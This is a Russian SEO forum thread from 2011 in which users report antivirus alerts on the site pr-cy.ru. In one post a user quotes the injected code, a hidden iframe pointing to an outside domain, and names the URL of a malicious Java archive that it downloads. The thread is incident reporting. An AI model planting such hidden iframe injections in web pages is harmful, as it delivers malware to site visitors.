X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Вирус на pr-cy.ru
Silverspam
Silverspam
Topic Starter сообщение 14.2.2011, 12:01; Ответить: Silverspam
Сообщение #1


Злобный SEO Злодей
*******

Группа: Super Moderator
Сообщений: 7440
Регистрация: 14.11.2009
Из: C Урала
Поблагодарили: 7640 раз
Репутация:   484  


Странно, но при попытке зайти на pr-cy.ru аваст его блочит с визгами о "HTML:Iframe-inf".
Касперский молчит.

У меня одного так?

Сообщение отредактировал Silverspam - 14.2.2011, 12:01


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
seobooz
seobooz
сообщение 14.2.2011, 12:02; Ответить: seobooz
Сообщение #2


Участник
***

Группа: User
Сообщений: 121
Регистрация: 12.2.2010
Поблагодарили: 33 раза
Репутация:   2  


NOD тоже матюкается...

14.02.2011 10:00:49 Фильтр HTTP файл _http://hj.wft.su/games/javaobe.jar множественные угрозы соединение прервано - изолирован FootP\Foot Обнаружена угроза при попытке доступа в Интернет следующим приложением: C:\Program Files\Java\jre6\bin\java.exe.

Сообщение отредактировал seobooz - 14.2.2011, 12:02


--------------------
:)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
neox
neox
сообщение 14.2.2011, 12:04; Ответить: neox
Сообщение #3


Участник
***

Группа: User
Сообщений: 150
Регистрация: 25.11.2008
Поблагодарили: 32 раза
Репутация:   8  


У меня открывается Adobe Reader :/
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kampot
kampot
сообщение 14.2.2011, 12:07; Ответить: kampot
Сообщение #4


Новичок
*

Группа: User
Сообщений: 45
Регистрация: 12.11.2010
Из: Москва
Поблагодарили: 21 раз
Репутация:   1  


Тоже касперский ругается что вирус
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Silverspam
Silverspam
Topic Starter сообщение 14.2.2011, 12:07; Ответить: Silverspam
Сообщение #5


Злобный SEO Злодей
*******

Группа: Super Moderator
Сообщений: 7440
Регистрация: 14.11.2009
Из: C Урала
Поблагодарили: 7640 раз
Репутация:   484  


(neox @ 14.2.2011, 13:04) *
У меня открывается Adobe Reader :/


Это печально...
Антивирусника нету чтоли?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serg-ss
serg-ss
сообщение 14.2.2011, 12:07; Ответить: serg-ss
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 280
Регистрация: 4.7.2010
Поблагодарили: 102 раза
Репутация:   19  


(Silverspam @ 14.2.2011, 11:01) *
при попытке зайти на pr-cy.ru аваст его блочит с визгами о "HTML:Iframe-inf"


+1, тоже аваст блочит.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
antonblog
antonblog
сообщение 14.2.2011, 12:08; Ответить: antonblog
Сообщение #7


Новичок
*

Группа: User
Сообщений: 38
Регистрация: 4.4.2010
Поблагодарили: 12 раз
Репутация:   3  


Dr Web тоже видит экспойт, при заходе запускается Java (под оперой)


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
neox
neox
сообщение 14.2.2011, 12:10; Ответить: neox
Сообщение #8


Участник
***

Группа: User
Сообщений: 150
Регистрация: 25.11.2008
Поблагодарили: 32 раза
Репутация:   8  


(Silverspam @ 14.2.2011, 11:07) *
Это печально...
Антивирусника нету чтоли?

Есть.

Вот левый код:
<div style='visibility:hidden'><iframe width='140' height='153' src='http://ns1.bingstat.ru/?out=1' frameborder='0' scrolling='no'></iframe></div>


Там куча перенаправлений.

А скачаивается это __http://hj.wft.su/games/javaobe.jar
(http://hj.wft.su/games/javaobe.jar/direct/bear.class infected with Java.Siggen.30)

Сообщение отредактировал neox - 14.2.2011, 12:12
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SeoKar
SeoKar
сообщение 14.2.2011, 12:10; Ответить: SeoKar
Сообщение #9


Новичок
*

Группа: User
Сообщений: 31
Регистрация: 30.6.2010
Из: Сибирь
Поблагодарили: 2 раза
Репутация:   0  


Comodo в Sandbox запускает какой-то .exe
Название файла - набор цифр...
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Loginp
Loginp
сообщение 14.2.2011, 12:12; Ответить: Loginp
Сообщение #10


Завсегдатай
*****

Группа: Active User
Сообщений: 781
Регистрация: 22.8.2009
Из: Україна | Рівне
Поблагодарили: 167 раз
Репутация:   18  


(seobooz @ 14.2.2011, 10:02) *
14.02.2011 10:00:49 Фильтр HTTP файл _http://hj.wft.su/games/javaobe.jar множественные угрозы соединение прервано - изолирован FootP\Foot Обнаружена угроза при попытке доступа в Интернет следующим приложением: C:\Program Files\Java\jre6\bin\java.exe.

Подтвержаю, в НОДе тоже самое


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Вирус на службе маркетинга
2 jack 631 9.10.2017, 19:33
автор: jack
Открытая тема (нет новых ответов) Помогите удалить вирус на joomla 1.5
Готов оплатить помощь.
5 pulsar21 2000 17.5.2013, 8:00
автор: pulsar21
Открытая тема (нет новых ответов) Найти вирус и удалить.
3 Minato 1068 2.2.2013, 20:24
автор: EvilGomel
Открытая тема (нет новых ответов) Вирус в DLE. Уничтожить за плату.
4 Seo-optimist 1788 30.12.2010, 15:23
автор: bobur
Открытая тема (нет новых ответов) вирус на сайте
5 RazBoy 2307 12.5.2010, 6:36
автор: viitalik


 



RSS Текстовая версия Сейчас: 13.12.2017, 17:41
Дизайн